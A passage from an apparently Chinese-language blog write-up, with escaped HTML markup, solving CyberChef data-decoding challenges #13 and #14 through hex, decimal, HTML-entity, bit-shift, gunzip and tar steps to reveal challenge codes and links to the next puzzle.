3f 6f 50 4b 01 02 52 45 4d 4f 56 45 14 00 14 00 00 00 08 00 08 87 71 50 2f 44 1e de 41 01 00 00 52 45 4d 4f 56 45 2b 04 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 65 6e 52 45 4d 4f 56 45 61 72 79 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 38 52 45 4d 4f 56 45 00 00 00 69 01 00 00 00 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;50 4b 03&lt;/code&gt;是Zip的魔术字节。我尝试直接解压，但是没有成功。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1803&quot; height=&quot;182&quot; src=&quot;/_astro/image-20260308234620765.CmobOCRd_1ItS8M.webp&quot; /&gt;&lt;figcaption&gt;image-20260308234620765&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;应该是文件结构有问题。观察数据，发现信息中夹杂了一些“REMOVE”。&lt;/p&gt;&lt;p&gt;去除这些信息之后再解压，可以得到一个“denary.txt”：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;67:111:110:103:114:97:116:117:108:97:116:105:111:110:115:44:32:121:111:117:32:104:97:118:101:32:99:111:109:112:108:101:116:101:100:32:67:121:98:101:114:67:104:101:102:32:99:104:97:108:108:101:110:103:101:32:35:49:51:33:10:10:84:104:105:115:32:99:104:97:108:108:101:110:103:101:32:101:120:112:108:111:114:101:100:32:90:105:112:32:99:111:109:112:114:101:115:115:105:111:110:46:32:84:111:32:108:101:97:114:110:32:109:111:114:101:44:32:118:105:115:105:116:32:119:105:107:105:112:101:100:105:97:46:111:114:103:47:119:105:107:105:47:90:105:112:95:40:102:105:108:101:95:102:111:114:109:97:116:41:46:10:10:84:104:101:32:99:111:100:101:32:102:111:114:32:116:104:105:115:32:99:104:97:108:108:101:110:103:101:32:105:115:32:99:57:101:57:97:48:57:52:45:52:102:53:101:45:52:101:100:53:45:98:49:54:54:45:51:55:48:53:54:52:98:99:57:102:99:97:46:10:10:84:104:101:32:110:101:120:116:32:99:104:97:108:108:101:110:103:101:32:99:97:110:32:98:101:32:102:111:117:110:100:32:97:116:32:104:116:116:112:115:58:47:47:112:97:115:116:101:98:105:110:46:99:111:109:47:80:117:87:107:101:110:55:99:46&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;从文件名和信息结构可以看出，这是一组冒号分隔的十进制数据，应该是ASCII：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #13!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Zip compression. To learn more, visit wikipedia.org/wiki/Zip_(file_format).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is c9e9a094-4f5e-4ed5-b166-370564bc9fca.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/PuWken7c.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; Find / Replace —&amp;gt; Unzip —&amp;gt; From Decimal&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#14 Hexadecimal &amp;amp; Bit shitf &amp;amp; Gunzip &amp;amp; Untar&lt;a href=&quot;#14-hexadecimal--bit-shitf--gunzip--untar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;6662406266724070406040626e6440626040626266407268406040664064666e40626a6c406e6e406262604064627240687040626c406266664062646a406268704060406c4062707040666040706440646a644062686a40646468406866406460406270724062666240626a6a4062646440626e406272644062666e4064406672406c6a4062646440646a6440646864406e624066684062606a40626c6a40626072406c6c40666440646a406460644064666440646a624064644062686c406668406e6840726c406270684062646040626a6c4064646a40646860407072406c7040626a6a40686e4062666a406470406e6040626c7240626264406262704068684064606e40666c40666c40626072406c7040626066406a7040666e406e6640686040646260406466704062726040627062406466704062626c4062726a4064686040626e6a40626072406a6840686e406e724064606e4062666a406468664064606a4064606a40646660406c60406268644064606e40646a6a4062646440646670406270724064686c4068664062606240627066406a66406262704062726240646272406260406666406272684062686a40646a644062686a4062706c4062626440626e6640646460406262664062666c406268624066704064704062726a406a664064686a406266724064627240626c68406460664064686e40726240626866406e40646264406c6a4062666040626c624062686640646c40646a6640686640626e4064686a4062626240626c604062646e406268406266604062606c40626a6e40626660406262624062727240646a6240646a624062666240646a6240626c664062686e40646a68406268644064604062666640626c6c406260724062706c406e6e4062726e40626870406460704062666a40646e4072704062626040646e4062666840646870406e604064666a4064686240626470406a70406e64406a604064686840706240626c664062646e406c6e406c6a40646a6a40686c4062686c406c6840646a6a4062644068406462406e624064666e406460644064604064646440626c6640626e68406466624064687040666040626e684062666e4062606440626c6a40627272406264684066664064606840626c406c6e4064687240626e6c4062604062607240626e664062727240664064666840626c604062686440626c624062686640646c40646a664072624064624064686a40626866406468704064606e406c6c4062604064666a40626e724064606c4064647240626062406c7040686e406c6c40646a68406a64406a664062687040626a6840686e40626a604062624070664068644064607040626464406c6040626c604062684070644062644062646a4070684064666440726a406262406c6c40646a684064606e406460604062646c4064686e4064686040626268406466724062687040626e624062707040646270406270624064626240646a66406468624064626a4064666e4062606a4062726240646a624062646c4062646840646a66406262704064686e4062626440686840686c406270644062707240686440646660406260406c6240626e6a40646e40626a604062626a406c724064666a4064686240626470406a70406e64406a624064686840706240626c664062646e40686240727240646a6440626a6240646070406c66406e406a6640626e6e406c62406a6a406e6840726040626e6840646840626c6c4072604062406c6e406a64406240626a724062666e4062667240626e7240726a40646466406e624062686240646a684062706e40707040646a6a40646640646440646a604064666240646468406e7240686640646a6440626c406466664062686240626a4064667040627072406460684062726840626a62406a6e4064686040726a40646068406272406466704064606c4064646e4064686240626468406a6a40646a68406c7040646a684062646e4062666640626c406c6e4062726e40626c6c406e6840646a6a407260406c6c40646a6a4062686040626c684062726c407268406460406872406c6440646066406264664068644064686c40626e624062687040626e406e6c406e72406264406260624064606840626a7240626a724064686c40626466407040626e664062727240664064666840626c6040626a7040626c624062686640646c40646a6640626a6a40707040646a6a4062686e406472406468684064606e406c6a406464644064686640626a6a406262704064686840646864406460644062646c40627260406a68406468724062686a40626c624064606040624062607040646862406e6440726840646c4062706040666040626a40626c7040626662406c40626668406c644062606c4064686840626262406e6e40646264406c664064646c406c664062624068724064666e40626866406a704064686c40627266406c6440626c6a4064686440626a624064607240627072406462724064667240626a7040627270406462624064646640646662406264704064626c40646664406a604062666e406462684064646e40624062626e40626264406a6c406270644062606c4064686840626262406464604062666040684064686a406c66406c644064606440646040646a6a406a644062726040646a68406a6c40626a6c4064646240646872406460724066624062686e40626c6a406260664062606a40626e40626c406262624064606a4062646e40626c7240706c4062646040626260406c62406660407060406e4062666a40727240626e62406e6840646a6a4062626840626e6040646a6a40666640646a6a40626066406666406e644062646a40626840646a60406466724064666e40646a60406270724062626640646a6240626c6a4062706c40726e4062606c4062606e406c624066604070604062666a40707040626a6640646a6a4064606e4062626c4064644064686a406c66406e604070644062606240627262406e644064686e40626c6e4062726e4062726040646872406460604062646c40646a6a4062626840646a6a40626e6c4064686a40626460406c684064724072704062606240646a68406c6640626c6640724064686240626a724062686a406262724064686e40646a6240646640646064406268664064646a40726840626c6e406e6640726c40626a644062646a406c6e4072624064666e40726a4062726840646a6840646a6a40626872406272664064646a4064626c40626c70406462604062726240626e4064686040646a6a406a604064646c4064647240626e62406264684064686040706c4072684064646c406a70406c70406468684062646c40627260406462604062687040646c4062626840626666406c6640646064406c6440627262407270406462604068664062666440646a6040646a6a4064626640666640706c4064666040646a6a406a6240646440646a624062646e40626a6c4062726c4062646040626a704062726e40626e6a4062626e406a6040646a624062606840626a6a40646470406c62406260604064686a406e40626c6a4062627240646640646262406266644062726240626a68406e6a407040626e664062727240664064666840626c4068664064686640646a6a4070724062647240646a6440626a724062686e40626a40626a6240646a6440646660406a406c6c4064666640646a6a406e6e4064606c40604064687040646a6a40626e6a40646240626e6e406a6040646a6a40626a7240626a6e4064666840646a6a40627040646a624062646e40686840706840646a6040646a6a407272406468644062626240686e4064666e406264704062726e4064606e4062647040646a40626e60406e6640646468406a6240626e4068664064686640646a6a40707240666e40626c624062646e406e60406260406262624062646e406468624062706a4062686640707240646a664070724064646c4064686c406a6040646468406e7240646666406272664064686840726e4066644062686e4064606a406240626e664062727240664064666840626c4068664064686640646a6a40707240626e664064646a40646a6a40727240666c4062646c40646a6240646662406a64406c64406e6c406660406272604064626e4064647240706e4062666c406c644062706e4062647040626672406270406c684064646a40646a64406e6640626a60406c6a40626a724064704062706040666040626a40626c70406c6e40626e684062726640646a6a406e624066684064666a40646466406464684064686e4062646e40626a6c40626870406c4062726240626c7040646a66406468604062726a406c664064666a4064686a406262624062646a406266724062666e406272684064686e406e624064666a4064626240626472406468604064687240626a72406c6440646066406272604064686a4060406040604060406040604060406040604060406040604060406040604060406040604060406040604060406040646468406c6640646472406a6a4062726e406c6640687040626c7240604062646040604060&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;是十六进制数据，解码一下：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fb@bfr@p@`@bnd@b`@bbf@rh@`@f@dfn@bjl@nn@bb`@dbr@hp@bl@bff@bdj@bhp@`@l@bpp@f`@pd@djd@bhj@ddh@hf@d`@bpr@bfb@bjj@bdd@bn@brd@bfn@d@fr@lj@bdd@djd@dhd@nb@fh@b`j@blj@b`r@ll@fd@dj@d`d@dfd@djb@dd@bhl@fh@nh@rl@bph@bd`@bjl@ddj@dh`@pr@lp@bjj@hn@bfj@dp@n`@blr@bbd@bbp@hh@d`n@fl@fl@b`r@lp@b`f@jp@fn@nf@h`@db`@dfp@br`@bpb@dfp@bbl@brj@dh`@bnj@b`r@jh@hn@nr@d`n@bfj@dhf@d`j@d`j@df`@l`@bhd@d`n@djj@bdd@dfp@bpr@dhl@hf@b`b@bpf@jf@bbp@brb@dbr@b`@ff@brh@bhj@djd@bhj@bpl@bbd@bnf@dd`@bbf@bfl@bhb@fp@dp@brj@jf@dhj@bfr@dbr@blh@d`f@dhn@rb@bhf@n@dbd@lj@bf`@blb@bhf@dl@djf@hf@bn@dhj@bbb@bl`@bdn@bh@bf`@b`l@bjn@bf`@bbb@brr@djb@djb@bfb@djb@blf@bhn@djh@bhd@d`@bff@bll@b`r@bpl@nn@brn@bhp@d`p@bfj@dn@rp@bb`@dn@bfh@dhp@n`@dfj@dhb@bdp@jp@nd@j`@dhh@pb@blf@bdn@ln@lj@djj@hl@bhl@lh@djj@bd@h@db@nb@dfn@d`d@d`@ddd@blf@bnh@dfb@dhp@f`@bnh@bfn@b`d@blj@brr@bdh@ff@d`h@bl@ln@dhr@bnl@b`@b`r@bnf@brr@f@dfh@bl`@bhd@blb@bhf@dl@djf@rb@db@dhj@bhf@dhp@d`n@ll@b`@dfj@bnr@d`l@ddr@b`b@lp@hn@ll@djh@jd@jf@bhp@bjh@hn@bj`@bb@pf@hd@d`p@bdd@l`@bl`@bh@pd@bd@bdj@ph@dfd@rj@bb@ll@djh@d`n@d``@bdl@dhn@dh`@bbh@dfr@bhp@bnb@bpp@dbp@bpb@dbb@djf@dhb@dbj@dfn@b`j@brb@djb@bdl@bdh@djf@bbp@dhn@bbd@hh@hl@bpd@bpr@hd@df`@b`@lb@bnj@dn@bj`@bbj@lr@dfj@dhb@bdp@jp@nd@jb@dhh@pb@blf@bdn@hb@rr@djd@bjb@d`p@lf@n@jf@bnn@lb@jj@nh@r`@bnh@dh@bll@r`@b@ln@jd@b@bjr@bfn@bfr@bnr@rj@ddf@nb@bhb@djh@bpn@pp@djj@df@dd@dj`@dfb@ddh@nr@hf@djd@bl@dff@bhb@bj@dfp@bpr@d`h@brh@bjb@jn@dh`@rj@d`h@br@dfp@d`l@ddn@dhb@bdh@jj@djh@lp@djh@bdn@bff@bl@ln@brn@bll@nh@djj@r`@ll@djj@bh`@blh@brl@rh@d`@hr@ld@d`f@bdf@hd@dhl@bnb@bhp@bn@nl@nr@bd@b`b@d`h@bjr@bjr@dhl@bdf@p@bnf@brr@f@dfh@bl`@bjp@blb@bhf@dl@djf@bjj@pp@djj@bhn@dr@dhh@d`n@lj@ddd@dhf@bjj@bbp@dhh@dhd@d`d@bdl@br`@jh@dhr@bhj@blb@d``@b@b`p@dhb@nd@rh@dl@bp`@f`@bj@blp@bfb@l@bfh@ld@b`l@dhh@bbb@nn@dbd@lf@ddl@lf@bb@hr@dfn@bhf@jp@dhl@brf@ld@blj@dhd@bjb@d`r@bpr@dbr@dfr@bjp@brp@dbb@ddf@dfb@bdp@dbl@dfd@j`@bfn@dbh@ddn@b@bbn@bbd@jl@bpd@b`l@dhh@bbb@dd`@bf`@h@dhj@lf@ld@d`d@d`@djj@jd@br`@djh@jl@bjl@ddb@dhr@d`r@fb@bhn@blj@b`f@b`j@bn@bl@bbb@d`j@bdn@blr@pl@bd`@bb`@lb@f`@p`@n@bfj@rr@bnb@nh@djj@bbh@bn`@djj@ff@djj@b`f@ff@nd@bdj@bh@dj`@dfr@dfn@dj`@bpr@bbf@djb@blj@bpl@rn@b`l@b`n@lb@f`@p`@bfj@pp@bjf@djj@d`n@bbl@dd@dhj@lf@n`@pd@b`b@brb@nd@dhn@bln@brn@br`@dhr@d``@bdl@djj@bbh@djj@bnl@dhj@bd`@lh@dr@rp@b`b@djh@lf@blf@r@dhb@bjr@bhj@bbr@dhn@djb@df@d`d@bhf@ddj@rh@bln@nf@rl@bjd@bdj@ln@rb@dfn@rj@brh@djh@djj@bhr@brf@ddj@dbl@blp@db`@brb@bn@dh`@djj@j`@ddl@ddr@bnb@bdh@dh`@pl@rh@ddl@jp@lp@dhh@bdl@br`@db`@bhp@dl@bbh@bff@lf@d`d@ld@brb@rp@db`@hf@bfd@dj`@djj@dbf@ff@pl@df`@djj@jb@dd@djb@bdn@bjl@brl@bd`@bjp@brn@bnj@bbn@j`@djb@b`h@bjj@ddp@lb@b``@dhj@n@blj@bbr@df@dbb@bfd@brb@bjh@nj@p@bnf@brr@f@dfh@bl@hf@dhf@djj@pr@bdr@djd@bjr@bhn@bj@bjb@djd@df`@j@ll@dff@djj@nn@d`l@`@dhp@djj@bnj@db@bnn@j`@djj@bjr@bjn@dfh@djj@bp@djb@bdn@hh@ph@dj`@djj@rr@dhd@bbb@hn@dfn@bdp@brn@d`n@bdp@dj@bn`@nf@ddh@jb@bn@hf@dhf@djj@pr@fn@blb@bdn@n`@b`@bbb@bdn@dhb@bpj@bhf@pr@djf@pr@ddl@dhl@j`@ddh@nr@dff@brf@dhh@rn@fd@bhn@d`j@b@bnf@brr@f@dfh@bl@hf@dhf@djj@pr@bnf@ddj@djj@rr@fl@bdl@djb@dfb@jd@ld@nl@f`@br`@dbn@ddr@pn@bfl@ld@bpn@bdp@bfr@bp@lh@ddj@djd@nf@bj`@lj@bjr@dp@bp`@f`@bj@blp@ln@bnh@brf@djj@nb@fh@dfj@ddf@ddh@dhn@bdn@bjl@bhp@l@brb@blp@djf@dh`@brj@lf@dfj@dhj@bbb@bdj@bfr@bfn@brh@dhn@nb@dfj@dbb@bdr@dh`@dhr@bjr@ld@d`f@br`@dhj@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@`@ddh@lf@ddr@jj@brn@lf@hp@blr@`@bd`@`@`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;很奇怪的数据。&lt;/p&gt;&lt;p&gt;尝试各种操作之后，发现右移1位的数据具有Gzip的魔术字节&lt;code&gt;1f 8b&lt;/code&gt;，十进制表示是&lt;code&gt;31 139&lt;/code&gt;：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;31 139 8 0 172 10 113 94 0 3 237 156 77 110 219 48 16 133 125 148 0 6 188 30 82 252 145 224 43 20 189 131 155 122 17 192 137 2 39 65 122 252 242 71 34 105 165 109 66 32 25 202 232 251 22 146 34 74 96 184 120 156 225 240 89 68 155 47 135 28 70 169 112 118 44 207 36 36 109 68 103 58 37 73 40 210 238 190 181 238 116 195 240 175 109 54 47 79 207 135 243 205 205 230 60 142 207 255 122 238 189 246 43 101 183 53 118 191 219 10 33 194 145 252 145 186 112 173 220 113 136 141 38 28 195 53 245 139 219 164 203 247 91 143 7 212 65 130 161 143 26 253 43 17 245 111 160 127 14 130 106 157 130 111 199 251 251 131 251 163 147 254 142 20 133 166 109 186 77 197 148 208 135 27 98 110 27 134 248 70 235 241 128 58 72 50 244 81 163 127 67 65 255 46 146 64 255 12 4 21 71 237 202 20 222 163 174 231 248 30 174 137 102 165 199 124 33 204 16 67 249 176 10 109 173 199 3 234 160 142 161 143 26 253 91 21 245 143 248 207 66 10 235 179 206 229 101 68 47 66 254 52 53 148 154 47 150 11 83 42 208 122 60 160 14 82 12 125 84 232 95 11 66 254 207 200 126 247 240 114 239 148 171 188 218 181 211 253 241 215 237 105 191 251 126 124 253 118 247 112 44 46 182 189 42 230 10 61 175 27 150 115 69 235 241 128 58 72 51 244 81 163 127 41 99 252 151 208 63 7 53 177 61 55 74 90 174 24 166 90 1 67 52 1 159 137 139 179 95 223 71 141 254 187 88 255 23 22 250 231 224 79 43 252 16 233 141 15 238 189 204 194 151 57 240 95 204 19 238 206 227 241 124 55 254 68 254 127 133 16 67 197 166 74 255 90 66 255 140 164 196 94 20 49 62 203 123 42 246 171 148 17 76 79 12 101 204 159 159 246 123 8 173 199 3 234 160 158 161 143 26 253 155 88 255 147 29 244 207 65 222 243 155 118 244 242 202 126 190 54 249 145 161 200 1 108 241 72 94 26 180 30 15 168 131 6 134 62 106 244 111 77 212 63 226 63 11 49 237 143 58 246 193 62 165 242 151 209 189 219 239 158 198 211 223 231 128 216 232 50 137 214 227 1 117 112 56 182 106 244 111 220 130 4 245 63 62 202 20 255 52 190 254 56 156 221 249 209 31 147 165 103 105 17 16 111 205 127 169 86 120 110 61 30 80 7 135 99 171 74 255 114 170 255 33 255 103 33 72 125 14 250 239 237 250 189 113 251 165 186 97 106 107 61 30 80 135 88 153 255 207 116 22 245 63 70 82 101 191 72 247 167 197 190 249 200 126 255 114 255 176 245 120 64 29 98 101 254 63 163 9 241 159 145 119 247 251 23 202 143 225 94 167 73 96 152 125 67 91 237 95 194 254 255 149 193 225 216 168 210 191 17 240 255 50 226 229 171 124 240 86 94 226 58 68 244 126 190 210 148 26 114 133 63 202 62 191 98 210 43 132 250 255 213 33 86 230 255 51 22 251 127 156 196 120 158 197 175 117 50 251 104 155 228 61 100 245 7 165 119 23 211 132 191 154 75 8 173 199 3 234 16 43 243 255 89 129 252 159 147 15 151 252 230 5 66 233 255 77 206 0 248 255 175 21 177 50 255 159 157 234 255 18 251 127 44 84 250 255 99 242 111 47 237 128 197 207 128 25 170 73 224 51 17 43 243 255 89 37 161 127 70 10 111 127 241 185 143 89 253 89 226 246 50 224 79 233 193 244 97 32 147 205 1 173 199 3 234 16 43 243 255 89 173 225 255 99 36 126 251 231 52 62 76 30 190 217 229 87 136 62 187 128 139 18 64 225 252 73 150 65 159 28 180 30 15 168 67 174 193 255 71 34 235 223 224 247 127 156 148 6 191 168 253 240 195 63 235 245 111 125 139 137 194 247 71 235 211 129 240 249 159 62 203 190 245 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 224 63 229 55 197 63 48 169 0 120 0 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;十进制解码之后Gunzip解压，得到：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1807&quot; height=&quot;545&quot; src=&quot;/_astro/image-20260331004123655.99riVgZI_1MX50W.webp&quot; /&gt;&lt;figcaption&gt;image-20260331004123655&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;数据中出现了字符串&lt;code&gt;ustar&lt;/code&gt;，应该是tar文档，解包可以得到21个文件：
&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1803&quot; height=&quot;538&quot; src=&quot;/_astro/image-20260331004657927.LPZDR9vr_1QymhJ.webp&quot; /&gt;&lt;figcaption&gt;image-20260331004657927&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;下载之后用十六进制编辑器查看，发现都是数据都是可见字符串：
&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;892&quot; src=&quot;/_astro/image-20260331005234443.58QSjOzy_shu9e.webp&quot; /&gt;&lt;figcaption&gt;image-20260331005234443&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;amp;#67;&amp;amp;#111;&amp;amp;#110;&amp;amp;#103;&amp;amp;#114;&amp;amp;#97;&amp;amp;#116;&amp;amp;#117;&amp;amp;#108;&amp;amp;#97;&amp;amp;#116;&amp;amp;#105;&amp;amp;#111;&amp;amp;#110;&amp;amp;#115;&amp;amp;comma;&amp;amp;#32;&amp;amp;#121;&amp;amp;#111;&amp;amp;#117;&amp;amp;#32;&amp;amp;#104;&amp;amp;#97;&amp;amp;#118;&amp;amp;#101;&amp;amp;#32;&amp;amp;#99;&amp;amp;#111;&amp;amp;#109;&amp;amp;#112;&amp;amp;#108;&amp;amp;#101;&amp;amp;#116;&amp;amp;#101;&amp;amp;#100;&amp;amp;#32;&amp;amp;#67;&amp;amp;#121;&amp;amp;#98;&amp;amp;#101;&amp;amp;#114;&amp;amp;#67;&amp;amp;#104;&amp;amp;#101;&amp;amp;#102;&amp;amp;#32;&amp;amp;#99;&amp;amp;#104;&amp;amp;#97;&amp;amp;#108;&amp;amp;#108;&amp;amp;#101;&amp;amp;#110;&amp;amp;#103;&amp;amp;#101;&amp;amp;#32;&amp;amp;num;&amp;amp;#49;&amp;amp;#52;&amp;amp;excl;&amp;amp;NewLine;&amp;amp;NewLine;&amp;amp;#84;&amp;amp;#104;&amp;amp;#105;&amp;amp;#115;&amp;amp;#32;&amp;amp;#99;&amp;amp;#104;&amp;amp;#97;&amp;amp;#108;&amp;amp;#108;&amp;amp;#101;&amp;amp;#110;&amp;amp;#103;&amp;amp;#101;&amp;amp;#32;&amp;amp;#101;&amp;amp;#120;&amp;amp;#112;&amp;amp;#108;&amp;amp;#111;&amp;amp;#114;&amp;amp;#101;&amp;amp;#100;&amp;amp;#32;&amp;amp;#84;&amp;amp;#65;&amp;amp;#82;&amp;amp;#32;&amp;amp;#102;&amp;amp;#105;&amp;amp;#108;&amp;amp;#101;&amp;amp;#115;&amp;amp;period;&amp;amp;#32;&amp;amp;#84;&amp;amp;#111;&amp;amp;#32;&amp;amp;#108;&amp;amp;#101;&amp;amp;#97;&amp;amp;#114;&amp;amp;#110;&amp;amp;#32;&amp;amp;#109;&amp;amp;#111;&amp;amp;#114;&amp;amp;#101;&amp;amp;comma;&amp;amp;#32;&amp;amp;#118;&amp;amp;#105;&amp;amp;#115;&amp;amp;#105;&amp;amp;#116;&amp;amp;#32;&amp;amp;#119;&amp;amp;#105;&amp;amp;#107;&amp;amp;#105;&amp;amp;#112;&amp;amp;#101;&amp;amp;#100;&amp;amp;#105;&amp;amp;#97;&amp;amp;period;&amp;amp;#111;&amp;amp;#114;&amp;amp;#103;&amp;amp;sol;&amp;amp;#119;&amp;amp;#105;&amp;amp;#107;&amp;amp;#105;&amp;amp;sol;&amp;amp;#84;&amp;amp;#97;&amp;amp;#114;&amp;amp;lowbar;&amp;amp;lpar;&amp;amp;#99;&amp;amp;#111;&amp;amp;#109;&amp;amp;#112;&amp;amp;#117;&amp;amp;#116;&amp;amp;#105;&amp;amp;#110;&amp;amp;#103;&amp;amp;rpar;&amp;amp;period;&amp;amp;NewLine;&amp;amp;NewLine;&amp;amp;#84;&amp;amp;#104;&amp;amp;#101;&amp;amp;#32;&amp;amp;#99;&amp;amp;#111;&amp;amp;#100;&amp;amp;#101;&amp;amp;#32;&amp;amp;#102;&amp;amp;#111;&amp;amp;#114;&amp;amp;#32;&amp;amp;#116;&amp;amp;#104;&amp;amp;#105;&amp;amp;#115;&amp;amp;#32;&amp;amp;#99;&amp;amp;#104;&amp;amp;#97;&amp;amp;#108;&amp;amp;#108;&amp;amp;#101;&amp;amp;#110;&amp;amp;#103;&amp;amp;#101;&amp;amp;#32;&amp;amp;#105;&amp;amp;#115;&amp;amp;#32;&amp;amp;#100;&amp;amp;#52;&amp;amp;#99;&amp;amp;#99;&amp;amp;#52;&amp;amp;#51;&amp;amp;#49;&amp;amp;#48;&amp;amp;#45;&amp;amp;#54;&amp;amp;#98;&amp;amp;#54;&amp;amp;#50;&amp;amp;#45;&amp;amp;#52;&amp;amp;#101;&amp;amp;#99;&amp;amp;#98;&amp;amp;#45;&amp;amp;#56;&amp;amp;#98;&amp;amp;#50;&amp;amp;#100;&amp;amp;#45;&amp;amp;#54;&amp;amp;#55;&amp;amp;#102;&amp;amp;#57;&amp;amp;#56;&amp;amp;#99;&amp;amp;#101;&amp;amp;#98;&amp;amp;#53;&amp;amp;#98;&amp;amp;#54;&amp;amp;#98;&amp;amp;period;&amp;amp;NewLine;&amp;amp;NewLine;&amp;amp;#84;&amp;amp;#104;&amp;amp;#101;&amp;amp;#32;&amp;amp;#110;&amp;amp;#101;&amp;amp;#120;&amp;amp;#116;&amp;amp;#32;&amp;amp;#99;&amp;amp;#104;&amp;amp;#97;&amp;amp;#108;&amp;amp;#108;&amp;amp;#101;&amp;amp;#110;&amp;amp;#103;&amp;amp;#101;&amp;amp;#32;&amp;amp;#99;&amp;amp;#97;&amp;amp;#110;&amp;amp;#32;&amp;amp;#98;&amp;amp;#101;&amp;amp;#32;&amp;amp;#102;&amp;amp;#111;&amp;amp;#117;&amp;amp;#110;&amp;amp;#100;&amp;amp;#32;&amp;amp;#97;&amp;amp;#116;&amp;amp;#32;&amp;amp;#104;&amp;amp;#116;&amp;amp;#116;&amp;amp;#112;&amp;amp;#115;&amp;amp;colon;&amp;amp;sol;&amp;amp;sol;&amp;amp;#112;&amp;amp;#97;&amp;amp;#115;&amp;amp;#116;&amp;amp;#101;&amp;amp;#98;&amp;amp